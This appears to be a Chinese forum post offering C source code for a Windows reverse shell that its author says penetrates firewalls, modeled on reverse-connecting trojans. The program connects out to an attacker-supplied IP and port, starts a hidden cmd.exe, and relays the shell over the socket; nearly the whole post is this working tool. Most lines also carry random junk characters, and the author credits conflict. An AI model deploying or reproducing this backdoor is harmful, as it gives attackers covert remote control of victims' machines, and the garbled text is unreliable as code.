这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 DvU(rr\p
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/* ============================== OX I.>9
Rebound port in Windows NT oGa8}Vtc
By wind,2006/7 8@Pv
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===============================*/ "+p_{J/P
#include b3W@{je
#include 0m!+gZ@
N\rbnr
#pragma comment(lib,"wsock32.lib") _8S!w>$)
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void OutputShell(); [*@"[u
SOCKET sClient; 4;x{@Ln
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; UE5T%zd /
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void main(int argc,char **argv) tAefBFu
{ SZNM$X|T
WSADATA stWsaData; Eb[*nWF=
int nRet; Tmqtj
SOCKADDR_IN stSaiClient,stSaiServer; `|[Q]+Mx
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if(argc != 3) 4Z,MqG>
{ ?(H/a-(:v}
printf("Useage:\n\rRebound DestIP DestPort\n"); fM6Pw6k
return; tRFj<yuaq
} jUYb8:B
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WSAStartup(MAKEWORD(2,2),&stWsaData); K08xiMjl
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,,OO2EgZ`
pri=;I(2A
stSaiClient.sin_family = AF_INET; -r7*C:E
stSaiClient.sin_port = htons(0); K}LmU{/t/
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); P-.>vi^+
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) IOtSAf
{ '(r/@%=U
printf("Bind Socket Failed!\n"); !K'j[cA^
return; P;C3{>G9
} h,"K+$
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stSaiServer.sin_family = AF_INET; W{<_gD9
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); &]iiBp#2
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); B/6wp^#VX
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) yHsmX2s
{ ,3 =|a|p
printf("Connect Error!"); },lHa!<^
return; &Ba` 3V\M
} f%<kcM2
OutputShell(); Cz` !j
} p3`ND;KQ
n=qN@u;Fi#
void OutputShell() g1UP/hNJ\8
{ c 2t<WRG
char szBuff[1024]; @9Rgg9r
SECURITY_ATTRIBUTES stSecurityAttributes; R7pdwKD
OSVERSIONINFO stOsversionInfo; `fYICp
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; -{n2^vvF
STARTUPINFO stStartupInfo; ge
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char *szShell; /}t>o*
x
PROCESS_INFORMATION stProcessInformation; p~Di\AQ/
unsigned long lBytesRead; j51Wod<[
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); FxeDjAP
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ?NkweT(
stSecurityAttributes.lpSecurityDescriptor = 0; ,T&=*q
stSecurityAttributes.bInheritHandle = TRUE; OeLM*Zi
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [$:M/5y9
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Ws$<B
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Oh)s"f\N
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (xxNQ]
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stStartupInfo.wShowWindow = SW_HIDE; R9bsl.e
stStartupInfo.hStdInput = hReadPipe; dnRbt{`jP
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; HGM ?
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GetVersionEx(&stOsversionInfo); ;r'y/Y'?
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switch(stOsversionInfo.dwPlatformId) 6:_@ ;/03%
{ `<_A#@
case 1: 4j+FDc`
szShell = "command.com"; ])Rs.Y{Q5
break; VAPRI\uM;
default: `Tw DR6&
szShell = "cmd.exe"; qM}Uk3N0
break; r?Q`b2Q
} 17kh6(X
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); su:~Xd
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send(sClient,szMsg,77,0); #x|xL7
while(1)
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{ !A_<(M<
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Q5Yy
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if(lBytesRead) !'m
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{ SUGB)vEa
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 4PdJ
send(sClient,szBuff,lBytesRead,0); p=13tQS<
} ^<u9I5?
else p>x[:*
{ (h&XtFul}
lBytesRead=recv(sClient,szBuff,1024,0); #WE"nh9f|z
if(lBytesRead<=0) break; PH!^ww6
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); (S<Z@y+d
} j<,Ho4v}_
} ly_@dsU'
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return; hv.33l
}